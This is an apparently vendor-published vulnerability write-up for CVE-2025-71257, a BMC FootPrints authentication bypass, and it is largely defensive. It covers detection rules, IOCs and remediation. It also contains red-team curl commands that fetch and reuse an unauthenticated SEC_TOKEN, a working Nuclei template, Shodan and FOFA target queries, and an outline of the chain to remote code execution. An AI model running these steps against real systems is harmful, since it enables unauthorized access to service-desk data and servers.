CVE-2025-71257
Executive Summary
CVE-2025-71257 is an authentication bypass vulnerability in BMC FootPrints ITSM, affecting versions 20.20.02 through 20.24.01.001. The flaw resides in the password reset functionality, where improper enforcement of security filters on REST API endpoints allows unauthenticated remote attackers to obtain a valid SEC_TOKEN session cookie by simply accessing the /footprints/servicedesk/passwordreset/request/ endpoint. This initial bypass serves as a critical entry point for chaining with other vulnerabilities, including CVE-2025-71258 (SSRF) and CVE-2025-71260 (deserialization RCE), enabling full system compromise. The vulnerability has a CVSS score of 6.5 (Medium) per the provided Nuclei template, though the NVD lists 7.3 (High). Public proof-of-concept code and a Nuclei template are available, increasing the risk of exploitation. Patches have been released by BMC.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector (Nuclei): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
- Base Score: 6.5 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
Threat Level: High. While the direct impact is limited to low confidentiality and integrity, the vulnerability is a critical enabler for chained attacks leading to Remote Code Execution (RCE). The availability of public exploit code and a low attack complexity make it attractive for threat actors.
Deep Dive & Mechanics
The vulnerability stems from improper enforcement of security filters on the password reset REST API endpoint. The endpoint /footprints/servicedesk/passwordreset/request/ does not require authentication, allowing any unauthenticated user to send a GET request. The server responds by setting a SEC_TOKEN session cookie without validating the user's identity or session state. This token is then used to authenticate subsequent requests to other protected endpoints, effectively bypassing all access controls.
The root cause is a missing or misconfigured security filter that should reject unauthenticated requests to this endpoint. The application likely intended this endpoint to be accessible only after some form of user verification (e.g., email confirmation), but the implementation fails to enforce this check.
Chained Exploitation:
- Step 1 (CVE-2025-71257): Obtain
SEC_TOKENvia the password reset endpoint. - Step 2 (CVE-2025-71258): Use the token to trigger a Server-Side Request Forgery (SSRF) to internal services.
- Step 3 (CVE-2025-71260): Leverage the SSRF to deliver a malicious serialized object, leading to deserialization RCE.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
The vulnerable endpoint likely lacks an authentication filter. For example, in a Java servlet-based application, the security constraint might be missing or misconfigured in web.xml or a Spring Security configuration.
// Vulnerable: No authentication check
@GET
@Path("/footprints/servicedesk/passwordreset/request/")
public Response passwordResetRequest() {
// Generates and returns a SEC_TOKEN without verifying user identity
String token = generateSessionToken();
return Response.ok().cookie(new NewCookie("SEC_TOKEN", token)).build();
}
Patched Code (Conceptual): The patched version adds an authentication filter that validates the user's identity before generating a token. This could involve requiring a valid session or a one-time password (OTP) sent via email.
// Patched: Authentication required
@GET
@Path("/footprints/servicedesk/passwordreset/request/")
public Response passwordResetRequest(@Context HttpServletRequest request) {
// Verify that the user is authenticated (e.g., via existing session or OTP)
if (!isAuthenticated(request)) {
return Response.status(Response.Status.UNAUTHORIZED).build();
}
String token = generateSessionToken();
return Response.ok().cookie(new NewCookie("SEC_TOKEN", token)).build();
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target BMC FootPrints ITSM instance (version 20.20.02 to 20.24.01.001)
- Network access to the target
Exploitation Steps:
Obtain SEC_TOKEN: Send a GET request to the vulnerable endpoint:
curl -v -c cookies.txt http://target/footprints/servicedesk/passwordreset/request/The response will include a
Set-Cookieheader withSEC_TOKEN=<value>.Use the Token: Include the
SEC_TOKENcookie in subsequent requests to authenticated endpoints:curl -b "SEC_TOKEN=<value>" http://target/footprints/servicedesk/some-protected-endpointChain with Other CVEs:
- Use the token to access CVE-2025-71258 (SSRF) to probe internal networks.
- Use the SSRF to deliver a malicious serialized object for CVE-2025-71260 (RCE).
Nuclei Template Usage: The provided Nuclei template automates the initial token acquisition. Run it with:
nuclei -t CVE-2025-71257.yaml -u http://target
Blue Team
Detection:
- Monitor for GET requests to
/footprints/servicedesk/passwordreset/request/from unauthenticated sources. - Alert on multiple
SEC_TOKENcookies being issued from the same IP in a short time. - Correlate with subsequent requests to sensitive endpoints (e.g., SSRF or deserialization endpoints).
Honeypot:
- Deploy a decoy endpoint that mimics the password reset functionality and logs all access attempts.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP GET requests to
/footprints/servicedesk/passwordreset/request/ - HTTP responses containing
Set-Cookie: SEC_TOKEN= - Subsequent requests to unusual internal IPs or ports (SSRF indicator)
- Base64-encoded serialized Java objects in request bodies (deserialization indicator)
- HTTP GET requests to
Host IOCs:
- Unexpected
SEC_TOKENcookies in application logs - Unusual outbound connections from the BMC server
- Presence of malicious serialized objects in temporary directories
- Unexpected
Log IOCs:
- Application logs showing
passwordreset/request/accessed without prior authentication - Web server logs with 200 responses to the password reset endpoint from unknown IPs
- Application logs showing
Detection Engineering
YARA Rule
rule CVE_2025_71257_AuthBypass {
meta:
description = "Detects exploitation attempts for CVE-2025-71257 BMC FootPrints auth bypass"
author = "Valters IT"
date = "2025-10-27"
reference = "https://labs.watchtowr.com/thanks-itsms-threat-actors-have-never-been-so-organized-bmc-footprints-pre-auth-remote-code-execution-chains/"
hash = "4a0a00473045022100df6ac0a707faa769d887d3328093a991bb40411a2775d8496529142eb037e31f0220148070a6f4de1dfde85df38de8c54df2510df9163853908b85b9b7e7d79a1e6b"
strings:
$s1 = "/footprints/servicedesk/passwordreset/request/" ascii wide nocase
$s2 = "SEC_TOKEN=" ascii wide nocase
condition:
any of them
}
Sigma Rule
title: CVE-2025-71257 BMC FootPrints Authentication Bypass
id: 3b5c8f1a-2d4e-4f7a-9b1c-6d8e0f2a4c6e
status: experimental
description: Detects unauthenticated access to the BMC FootPrints password reset endpoint, indicating exploitation of CVE-2025-71257.
author: Valters IT
date: 2025-10-27
references:
- https://labs.watchtowr.com/thanks-itsms-threat-actors-have-never-been-so-organized-bmc-footprints-pre-auth-remote-code-execution-chains/
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'GET'
cs-uri-stem: '/footprints/servicedesk/passwordreset/request/'
sc-status: 200
condition: selection
falsepositives:
- Legitimate password reset requests (rare without prior authentication)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-71257 BMC FootPrints Auth Bypass Attempt"; flow:to_server; content:"GET"; http_method; content:"/footprints/servicedesk/passwordreset/request/"; http_uri; content:"SEC_TOKEN="; http_set_cookie; classtype:attempted-admin; sid:10000001; rev:1;)
Nuclei Template (Provided)
id: CVE-2025-71257
info:
name: BMC FootPrints - Authentication Bypass
author: watchTowr,DhiyaneshDk
severity: medium
description: |
BMC FootPrints versions 20.20.02 through 20.24.01.001 contain an authentication bypass vulnerability in the password reset functionality. Unauthenticated attackers can access the /footprints/servicedesk/passwordreset/request/ endpoint to obtain a valid SEC_TOKEN session cookie without proper authentication. This vulnerability enables exploitation of other vulnerabilities in the chain including CVE-2025-71258 and CVE-2025-71259 (SSRF) and CVE-2025-71260 (deserialization RCE).
impact: |
Unauthenticated attackers can bypass access controls to access and modify application data and system resources.
remediation: |
Apply the hotfixes released by BMC on September 2, 2025 for all affected branches. Update to the latest patched version of BMC FootPrints.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
cvss-score: 6.5
cve-id: CVE-2025-71257
epss-score: 0.15571
epss-percentile: 0.94711
cwe-id: CWE-287
reference:
- https://labs.watchtowr.com/thanks-itsms-threat-actors-have-never-been-so-organized-bmc-footprints-pre-auth-remote-code-execution-chains/
- https://docs.bmc.com/xwiki/bin/view/More-Products/Footprints/FootPrints/fp2024/
metadata:
verified: true
max-request: 1
shodan-query: html:"/footprints/servicedesk/"
product: footprints
vendor: bmc
fofa-query: body="/footprints/servicedesk/"
tags: cve,cve2025,servicedesk,bmc-software,auth-bypass,footprints,bmc,vkev
variables:
string: "{{to_lower(rand_base(8))}}"
http:
- raw:
- |
GET /footprints/servicedesk/passwordreset/request/ HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: set_cookie
words:
- "SEC_TOKEN="
# digest: 4a0a00473045022100df6ac0a707faa769d887d3328093a991bb40411a2775d8496529142eb037e31f0220148070a6f4de1dfde85df38de8c54df2510df9163853908b85b9b7e7d79a1e6b:922c64590222798bb761d5b6d8e72950
Remediation & Mitigation
Immediate Actions:
- Apply Patches: Update to the latest hotfix for your branch as listed in the NVD data (20.20.02, 20.20.03.002, 20.21.01.001, 20.21.02.002, 20.22.01, 20.22.01.001, 20.23.01, 20.23.01.002, or 20.24.01).
- Restrict Network Access: Use a Web Application Firewall (WAF) to block requests to
/footprints/servicedesk/passwordreset/request/from untrusted IPs. - Monitor Logs: Search for exploitation attempts using the provided Sigma and Suricata rules.
Long-Term Mitigations:
- Implement strict authentication checks on all REST API endpoints.
- Conduct regular security audits and penetration testing.
- Ensure all software is updated to the latest patched version.
Workarounds (if patching is delayed):
- Disable the password reset functionality if not required.
- Implement IP whitelisting for the vulnerable endpoint.
Valters IT
{/* [Security Hash: A04A143796D1D61A195C4E95] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.